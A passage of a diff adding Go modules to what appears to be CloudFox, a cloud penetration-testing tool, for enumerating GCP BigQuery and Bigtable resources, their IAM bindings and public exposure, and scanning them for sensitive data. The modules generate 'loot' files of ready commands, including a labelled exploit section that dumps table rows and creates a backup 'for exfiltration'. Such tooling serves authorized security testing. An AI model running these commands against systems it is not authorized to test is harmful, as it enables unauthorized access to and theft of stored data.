table.ProjectID, table.ProjectID, table.DatasetID, table.TableID,
|
||||
table.ProjectID, table.ProjectID, table.DatasetID, table.TableID, table.DatasetID, table.TableID,
|
||||
)
|
||||
|
||||
// Views (may expose data from other datasets)
|
||||
if table.IsView {
|
||||
viewQuery := table.ViewQuery
|
||||
if len(viewQuery) > 200 {
|
||||
viewQuery = viewQuery[:200] + "..."
|
||||
}
|
||||
logger.InfoM(fmt.Sprintf("Done writing output for project %s", projectID), globals.GCP_BIGQUERY_MODULE_NAME)
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# VIEW DEFINITION: %s.%s\n"+
|
||||
"# Legacy SQL: %v\n"+
|
||||
"# Query:\n"+
|
||||
"# %s\n\n",
|
||||
table.DatasetID, table.TableID,
|
||||
table.UseLegacySQL,
|
||||
strings.ReplaceAll(viewQuery, "\n", "\n# "),
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Generation
|
||||
// ------------------------------
|
||||
func (m *BigQueryModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
// Decide between hierarchical and flat output
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
// getDatasetHeader returns the dataset table header
|
||||
func (m *BigQueryModule) getDatasetHeader() []string {
|
||||
return []string{
|
||||
"Project",
|
||||
"Dataset ID",
|
||||
"Location",
|
||||
"Public",
|
||||
"Encryption",
|
||||
"IAM Binding Role",
|
||||
"Principal Type",
|
||||
"IAM Binding Principal",
|
||||
}
|
||||
}
|
||||
|
||||
// getTableHeader returns the table table header
|
||||
func (m *BigQueryModule) getTableHeader() []string {
|
||||
return []string{
|
||||
"Project",
|
||||
"Dataset ID",
|
||||
"Table ID",
|
||||
"Type",
|
||||
"Encryption",
|
||||
"Rows",
|
||||
"Public",
|
||||
"IAM Binding Role",
|
||||
"IAM Binding Principal",
|
||||
}
|
||||
}
|
||||
|
||||
// datasetsToTableBody converts datasets to table body rows
|
||||
func (m *BigQueryModule) datasetsToTableBody(datasets []BigQueryService.BigqueryDataset) ([][]string, int) {
|
||||
var body [][]string
|
||||
publicCount := 0
|
||||
for _, dataset := range datasets {
|
||||
publicStatus := ""
|
||||
if dataset.IsPublic {
|
||||
publicStatus = dataset.PublicAccess
|
||||
publicCount++
|
||||
}
|
||||
|
||||
if len(dataset.AccessEntries) > 0 {
|
||||
for _, entry := range dataset.AccessEntries {
|
||||
memberType := BigQueryService.GetMemberType(entry.EntityType, entry.Entity)
|
||||
role := entry.Role
|
||||
if role == "" {
|
||||
role = "READER"
|
||||
}
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(dataset.ProjectID),
|
||||
dataset.DatasetID,
|
||||
dataset.Location,
|
||||
publicStatus,
|
||||
dataset.EncryptionType,
|
||||
role,
|
||||
memberType,
|
||||
entry.Entity,
|
||||
})
|
||||
}
|
||||
} else {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(dataset.ProjectID),
|
||||
dataset.DatasetID,
|
||||
dataset.Location,
|
||||
publicStatus,
|
||||
dataset.EncryptionType,
|
||||
"-",
|
||||
"-",
|
||||
"-",
|
||||
})
|
||||
}
|
||||
}
|
||||
return body, publicCount
|
||||
}
|
||||
|
||||
// tablesToTableBody converts tables to table body rows
|
||||
func (m *BigQueryModule) tablesToTableBody(tables []BigQueryService.BigqueryTable) [][]string {
|
||||
var body [][]string
|
||||
for _, table := range tables {
|
||||
publicStatus := ""
|
||||
if table.IsPublic {
|
||||
publicStatus = table.PublicAccess
|
||||
}
|
||||
|
||||
if len(table.IAMBindings) == 0 {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(table.ProjectID),
|
||||
table.DatasetID,
|
||||
table.TableID,
|
||||
table.TableType,
|
||||
table.EncryptionType,
|
||||
fmt.Sprintf("%d", table.NumRows),
|
||||
publicStatus,
|
||||
"-",
|
||||
"-",
|
||||
})
|
||||
} else {
|
||||
for _, binding := range table.IAMBindings {
|
||||
for _, member := range binding.Members {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(table.ProjectID),
|
||||
table.DatasetID,
|
||||
table.TableID,
|
||||
table.TableType,
|
||||
table.EncryptionType,
|
||||
fmt.Sprintf("%d", table.NumRows),
|
||||
publicStatus,
|
||||
binding.Role,
|
||||
member,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
// writeHierarchicalOutput writes output to per-project directories
|
||||
func (m *BigQueryModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
// Collect all projects with data
|
||||
projectsWithData := make(map[string]bool)
|
||||
for projectID := range m.ProjectDatasets {
|
||||
projectsWithData[projectID] = true
|
||||
}
|
||||
for projectID := range m.ProjectTables {
|
||||
projectsWithData[projectID] = true
|
||||
}
|
||||
|
||||
totalPublicCount := 0
|
||||
for projectID := range projectsWithData {
|
||||
datasets := m.ProjectDatasets[projectID]
|
||||
tables := m.ProjectTables[projectID]
|
||||
|
||||
datasetBody, publicCount := m.datasetsToTableBody(datasets)
|
||||
totalPublicCount += publicCount
|
||||
tableBody := m.tablesToTableBody(tables)
|
||||
|
||||
tableFiles := []internal.TableFile{
|
||||
{Name: "bigquery-datasets", Header: m.getDatasetHeader(), Body: datasetBody},
|
||||
{Name: "bigquery-tables", Header: m.getTableHeader(), Body: tableBody},
|
||||
}
|
||||
|
||||
// Collect loot for this project
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[projectID] = BigQueryOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
|
||||
if totalPublicCount > 0 {
|
||||
logger.InfoM(fmt.Sprintf("[FINDING] Found %d publicly accessible dataset(s)!", totalPublicCount), globals.GCP_BIGQUERY_MODULE_NAME)
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
err := internal.HandleHierarchicalOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
pathBuilder,
|
||||
outputData,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_BIGQUERY_MODULE_NAME)
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
}
|
||||
|
||||
// writeFlatOutput writes all output to a single directory (legacy mode)
|
||||
func (m *BigQueryModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
allDatasets := m.getAllDatasets()
|
||||
allTables := m.getAllTables()
|
||||
|
||||
datasetBody, publicCount := m.datasetsToTableBody(allDatasets)
|
||||
tableBody := m.tablesToTableBody(allTables)
|
||||
|
||||
// Collect all loot files
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
tableFiles := []internal.TableFile{
|
||||
{Name: "bigquery-datasets", Header: m.getDatasetHeader(), Body: datasetBody},
|
||||
{Name: "bigquery-tables", Header: m.getTableHeader(), Body: tableBody},
|
||||
}
|
||||
|
||||
if publicCount > 0 {
|
||||
logger.InfoM(fmt.Sprintf("[FINDING] Found %d publicly accessible dataset(s)!", publicCount), globals.GCP_BIGQUERY_MODULE_NAME)
|
||||
}
|
||||
|
||||
output := BigQueryOutput{
|
||||
Table: tableFiles,
|
||||
Loot: lootFiles,
|
||||
}
|
||||
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, id := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(id)
|
||||
}
|
||||
err := internal.HandleOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.OutputDirectory,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
"project",
|
||||
m.ProjectIDs,
|
||||
scopeNames,
|
||||
m.Account,
|
||||
output,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_BIGQUERY_MODULE_NAME)
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,279 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sync"
|
||||
|
||||
bigqueryenumservice "github.com/BishopFox/cloudfox/gcp/services/bigqueryEnumService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var (
|
||||
bqEnumSampleData bool
|
||||
bqEnumMaxRows int
|
||||
bqEnumMaxTables int
|
||||
)
|
||||
|
||||
var GCPBigQueryEnumCommand = &cobra.Command{
|
||||
Use: globals.GCP_BIGQUERYENUM_MODULE_NAME,
|
||||
Aliases: []string{"bq-enum", "bq-scan"},
|
||||
Short: "Scan BigQuery datasets, tables, and columns for sensitive data indicators",
|
||||
Long: `Scan BigQuery metadata for potentially sensitive data.
|
||||
|
||||
Phase 1 (always runs): Scans dataset names, table names, and column names
|
||||
against sensitive data patterns (credentials, PII, financial, compliance).
|
||||
|
||||
Phase 2 (opt-in): Samples data from flagged tables and scans content for
|
||||
credentials, tokens, and other sensitive values.
|
||||
|
||||
Flags:
|
||||
--sample-data Enable data sampling on flagged tables (default off)
|
||||
--max-rows Maximum rows to sample per table (default 100)
|
||||
--max-tables Maximum tables to scan per project (default 50)`,
|
||||
Run: runGCPBigQueryEnumCommand,
|
||||
}
|
||||
|
||||
func init() {
|
||||
GCPBigQueryEnumCommand.Flags().BoolVar(&bqEnumSampleData, "sample-data", false, "Sample data from flagged tables and scan content")
|
||||
GCPBigQueryEnumCommand.Flags().IntVar(&bqEnumMaxRows, "max-rows", 100, "Maximum rows to sample per table")
|
||||
GCPBigQueryEnumCommand.Flags().IntVar(&bqEnumMaxTables, "max-tables", 50, "Maximum tables to scan per project")
|
||||
}
|
||||
|
||||
type BigQueryEnumModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
ProjectResources map[string][]bigqueryenumservice.SensitiveBQResource
|
||||
LootMap map[string]map[string]*internal.LootFile
|
||||
SampleData bool
|
||||
MaxRows int
|
||||
MaxTables int
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
type BigQueryEnumOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o BigQueryEnumOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o BigQueryEnumOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
func runGCPBigQueryEnumCommand(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_BIGQUERYENUM_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
module := &BigQueryEnumModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectResources: make(map[string][]bigqueryenumservice.SensitiveBQResource),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
SampleData: bqEnumSampleData,
|
||||
MaxRows: bqEnumMaxRows,
|
||||
MaxTables: bqEnumMaxTables,
|
||||
}
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
func (m *BigQueryEnumModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
mode := "metadata scan"
|
||||
if m.SampleData {
|
||||
mode = "metadata scan + data sampling"
|
||||
}
|
||||
logger.InfoM(fmt.Sprintf("Scanning BigQuery resources (%s, max %d tables per project)...",
|
||||
mode, m.MaxTables), globals.GCP_BIGQUERYENUM_MODULE_NAME)
|
||||
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_BIGQUERYENUM_MODULE_NAME, m.processProject)
|
||||
|
||||
allResources := m.getAllResources()
|
||||
if len(allResources) == 0 {
|
||||
logger.InfoM("No sensitive BigQuery resources found", globals.GCP_BIGQUERYENUM_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
criticalCount := 0
|
||||
highCount := 0
|
||||
for _, r := range allResources {
|
||||
switch r.RiskLevel {
|
||||
case "CRITICAL":
|
||||
criticalCount++
|
||||
case "HIGH":
|
||||
highCount++
|
||||
}
|
||||
}
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d sensitive BigQuery resources (%d CRITICAL, %d HIGH)",
|
||||
len(allResources), criticalCount, highCount), globals.GCP_BIGQUERYENUM_MODULE_NAME)
|
||||
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
func (m *BigQueryEnumModule) getAllResources() []bigqueryenumservice.SensitiveBQResource {
|
||||
var all []bigqueryenumservice.SensitiveBQResource
|
||||
for _, resources := range m.ProjectResources {
|
||||
all = append(all, resources...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
func (m *BigQueryEnumModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Scanning BigQuery in project: %s", projectID), globals.GCP_BIGQUERYENUM_MODULE_NAME)
|
||||
}
|
||||
|
||||
svc := bigqueryenumservice.New()
|
||||
|
||||
resources, err := svc.EnumerateSensitiveResources(projectID, m.MaxTables, m.SampleData, m.MaxRows)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_BIGQUERYENUM_MODULE_NAME,
|
||||
fmt.Sprintf("Could not scan BigQuery in project %s", projectID))
|
||||
return
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectResources[projectID] = resources
|
||||
|
||||
if len(resources) > 0 {
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
}
|
||||
lootFile := &internal.LootFile{
|
||||
Name: "bigquery-enum-commands",
|
||||
Contents: "# BigQuery Commands for Sensitive Resources\n# Generated by CloudFox\n\n",
|
||||
}
|
||||
for _, r := range resources {
|
||||
if r.Table != "" {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# [%s] %s - %s.%s.%s\n# %s\nbq query --use_legacy_sql=false 'SELECT * FROM `%s.%s.%s` LIMIT 10'\n\n",
|
||||
r.RiskLevel, r.Category, projectID, r.Dataset, r.Table,
|
||||
r.Description,
|
||||
projectID, r.Dataset, r.Table,
|
||||
)
|
||||
} else {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# [%s] %s - %s.%s\n# %s\nbq ls %s:%s\n\n",
|
||||
r.RiskLevel, r.Category, projectID, r.Dataset,
|
||||
r.Description,
|
||||
projectID, r.Dataset,
|
||||
)
|
||||
}
|
||||
}
|
||||
m.LootMap[projectID]["bigquery-enum-commands"] = lootFile
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
func (m *BigQueryEnumModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BigQueryEnumModule) getHeader() []string {
|
||||
return []string{"Project", "Dataset", "Table", "Column", "Match Type", "Category", "Risk Level", "Description"}
|
||||
}
|
||||
|
||||
func (m *BigQueryEnumModule) resourcesToTableBody(resources []bigqueryenumservice.SensitiveBQResource) [][]string {
|
||||
var body [][]string
|
||||
for _, r := range resources {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(r.ProjectID),
|
||||
r.Dataset,
|
||||
r.Table,
|
||||
r.Column,
|
||||
r.MatchType,
|
||||
r.Category,
|
||||
r.RiskLevel,
|
||||
r.Description,
|
||||
})
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *BigQueryEnumModule) buildTablesForProject(projectID string) []internal.TableFile {
|
||||
resources := m.ProjectResources[projectID]
|
||||
if len(resources) == 0 {
|
||||
return nil
|
||||
}
|
||||
return []internal.TableFile{
|
||||
{
|
||||
Name: "bigquery-enum",
|
||||
Header: m.getHeader(),
|
||||
Body: m.resourcesToTableBody(resources),
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BigQueryEnumModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
for projectID, resources := range m.ProjectResources {
|
||||
if len(resources) == 0 {
|
||||
continue
|
||||
}
|
||||
tableFiles := m.buildTablesForProject(projectID)
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[projectID] = BigQueryEnumOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_BIGQUERYENUM_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BigQueryEnumModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
allResources := m.getAllResources()
|
||||
if len(allResources) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
tables := []internal.TableFile{
|
||||
{
|
||||
Name: "bigquery-enum",
|
||||
Header: m.getHeader(),
|
||||
Body: m.resourcesToTableBody(allResources),
|
||||
},
|
||||
}
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
output := BigQueryEnumOutput{Table: tables, Loot: lootFiles}
|
||||
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, id := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(id)
|
||||
}
|
||||
|
||||
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
|
||||
"project", m.ProjectIDs, scopeNames, m.Account, output)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_BIGQUERYENUM_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,439 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
bigtableservice "github.com/BishopFox/cloudfox/gcp/services/bigtableService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var GCPBigtableCommand = &cobra.Command{
|
||||
Use: globals.GCP_BIGTABLE_MODULE_NAME,
|
||||
Aliases: []string{"bt"},
|
||||
Short: "Enumerate Cloud Bigtable instances and tables",
|
||||
Long: `Enumerate Cloud Bigtable instances, clusters, and tables with IAM analysis.
|
||||
|
||||
Features:
|
||||
- Lists all Bigtable instances with instance-level IAM bindings
|
||||
- Lists all tables with table-level IAM bindings
|
||||
- Identifies publicly accessible instances and tables
|
||||
- Shows cluster information per instance`,
|
||||
Run: runGCPBigtableCommand,
|
||||
}
|
||||
|
||||
type BigtableModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
ProjectInstances map[string][]bigtableservice.BigtableInstanceInfo // projectID -> instances
|
||||
ProjectTables map[string][]bigtableservice.BigtableTableInfo // projectID -> tables
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
type BigtableOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o BigtableOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o BigtableOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
func runGCPBigtableCommand(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_BIGTABLE_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
module := &BigtableModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectInstances: make(map[string][]bigtableservice.BigtableInstanceInfo),
|
||||
ProjectTables: make(map[string][]bigtableservice.BigtableTableInfo),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
}
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
func (m *BigtableModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_BIGTABLE_MODULE_NAME, m.processProject)
|
||||
|
||||
allInstances := m.getAllInstances()
|
||||
allTables := m.getAllTables()
|
||||
|
||||
if len(allInstances) == 0 {
|
||||
logger.InfoM("No Bigtable instances found", globals.GCP_BIGTABLE_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
// Count public instances and tables
|
||||
publicInstanceCount := 0
|
||||
publicTableCount := 0
|
||||
for _, instance := range allInstances {
|
||||
if instance.PublicAccess {
|
||||
publicInstanceCount++
|
||||
}
|
||||
}
|
||||
for _, table := range allTables {
|
||||
if table.PublicAccess {
|
||||
publicTableCount++
|
||||
}
|
||||
}
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d instance(s) with %d table(s)",
|
||||
len(allInstances), len(allTables)), globals.GCP_BIGTABLE_MODULE_NAME)
|
||||
|
||||
if publicInstanceCount > 0 || publicTableCount > 0 {
|
||||
logger.InfoM(fmt.Sprintf("[FINDING] Found %d public instance(s), %d public table(s)!",
|
||||
publicInstanceCount, publicTableCount), globals.GCP_BIGTABLE_MODULE_NAME)
|
||||
}
|
||||
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
func (m *BigtableModule) getAllInstances() []bigtableservice.BigtableInstanceInfo {
|
||||
var all []bigtableservice.BigtableInstanceInfo
|
||||
for _, instances := range m.ProjectInstances {
|
||||
all = append(all, instances...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
func (m *BigtableModule) getAllTables() []bigtableservice.BigtableTableInfo {
|
||||
var all []bigtableservice.BigtableTableInfo
|
||||
for _, tables := range m.ProjectTables {
|
||||
all = append(all, tables...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
func (m *BigtableModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating Bigtable in project: %s", projectID), globals.GCP_BIGTABLE_MODULE_NAME)
|
||||
}
|
||||
|
||||
svc := bigtableservice.New()
|
||||
result, err := svc.ListInstances(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_BIGTABLE_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate Bigtable instances in project %s", projectID))
|
||||
return
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.ProjectInstances[projectID] = result.Instances
|
||||
m.ProjectTables[projectID] = result.Tables
|
||||
|
||||
// Initialize loot for this project
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[projectID]["bigtable-commands"] = &internal.LootFile{
|
||||
Name: "bigtable-commands",
|
||||
Contents: "# Bigtable Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
|
||||
for _, instance := range result.Instances {
|
||||
m.addInstanceToLoot(projectID, instance)
|
||||
}
|
||||
for _, table := range result.Tables {
|
||||
m.addTableToLoot(projectID, table)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
func (m *BigtableModule) addInstanceToLoot(projectID string, instance bigtableservice.BigtableInstanceInfo) {
|
||||
lootFile := m.LootMap[projectID]["bigtable-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
|
||||
var clusterNames []string
|
||||
for _, cluster := range instance.Clusters {
|
||||
clusterNames = append(clusterNames, cluster.Name)
|
||||
}
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# BIGTABLE INSTANCE: %s\n"+
|
||||
"# =============================================================================\n"+
|
||||
"# Display Name: %s\n"+
|
||||
"# Type: %s, State: %s\n"+
|
||||
"# Clusters: %s\n",
|
||||
instance.Name, instance.DisplayName,
|
||||
instance.Type, instance.State,
|
||||
strings.Join(clusterNames, ", "),
|
||||
)
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(`
|
||||
# === ENUMERATION COMMANDS ===
|
||||
|
||||
# Describe instance:
|
||||
gcloud bigtable instances describe %s --project=%s
|
||||
|
||||
# List clusters in instance:
|
||||
gcloud bigtable clusters list --instances=%s --project=%s
|
||||
|
||||
# List tables (gcloud):
|
||||
gcloud bigtable instances tables list --instances=%s --project=%s
|
||||
|
||||
# List tables (cbt):
|
||||
cbt -project %s -instance %s ls
|
||||
|
||||
# Get instance IAM policy:
|
||||
gcloud bigtable instances get-iam-policy %s --project=%s
|
||||
|
||||
# List app profiles:
|
||||
gcloud bigtable instances app-profiles list --instance=%s --project=%s
|
||||
|
||||
# === EXPLOIT COMMANDS ===
|
||||
|
||||
# List all tables in the instance:
|
||||
cbt -project %s -instance %s ls
|
||||
# (See per-table commands below for specific read/lookup/dump commands)
|
||||
|
||||
`,
|
||||
instance.Name, instance.ProjectID,
|
||||
instance.Name, instance.ProjectID,
|
||||
instance.Name, instance.ProjectID,
|
||||
instance.ProjectID, instance.Name,
|
||||
instance.Name, instance.ProjectID,
|
||||
instance.Name, instance.ProjectID,
|
||||
instance.ProjectID, instance.Name,
|
||||
)
|
||||
|
||||
// Add backup command with actual cluster name if available
|
||||
if len(clusterNames) > 0 {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Create a backup (for exfiltration) - replace TABLE_NAME with actual table:\n"+
|
||||
"gcloud bigtable backups create cloudfox-backup --instance=%s --cluster=%s --table=TABLE_NAME --expiration-date=$(date -u -d '+7 days' '+%%Y-%%m-%%dT%%H:%%M:%%SZ') --project=%s --async\n\n",
|
||||
instance.Name, clusterNames[0], instance.ProjectID,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BigtableModule) addTableToLoot(projectID string, table bigtableservice.BigtableTableInfo) {
|
||||
lootFile := m.LootMap[projectID]["bigtable-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# -----------------------------------------------------------------------------\n"+
|
||||
"# TABLE: %s (Instance: %s)\n"+
|
||||
"# -----------------------------------------------------------------------------\n"+
|
||||
"# Read first 10 rows:\n"+
|
||||
"cbt -project %s -instance %s read %s count=10\n"+
|
||||
"# Get table IAM policy:\n"+
|
||||
"gcloud bigtable instances tables get-iam-policy %s --instance=%s --project=%s\n"+
|
||||
"# Describe table (column families):\n"+
|
||||
"cbt -project %s -instance %s ls %s\n\n",
|
||||
table.Name, table.InstanceName,
|
||||
table.ProjectID, table.InstanceName, table.Name,
|
||||
table.Name, table.InstanceName, table.ProjectID,
|
||||
table.ProjectID, table.InstanceName, table.Name,
|
||||
)
|
||||
}
|
||||
|
||||
func (m *BigtableModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *BigtableModule) getInstanceHeader() []string {
|
||||
return []string{"Project", "Instance", "Display Name", "Type", "State", "Clusters", "IAM Binding Role", "IAM Binding Principal", "Public"}
|
||||
}
|
||||
|
||||
func (m *BigtableModule) getTableHeader() []string {
|
||||
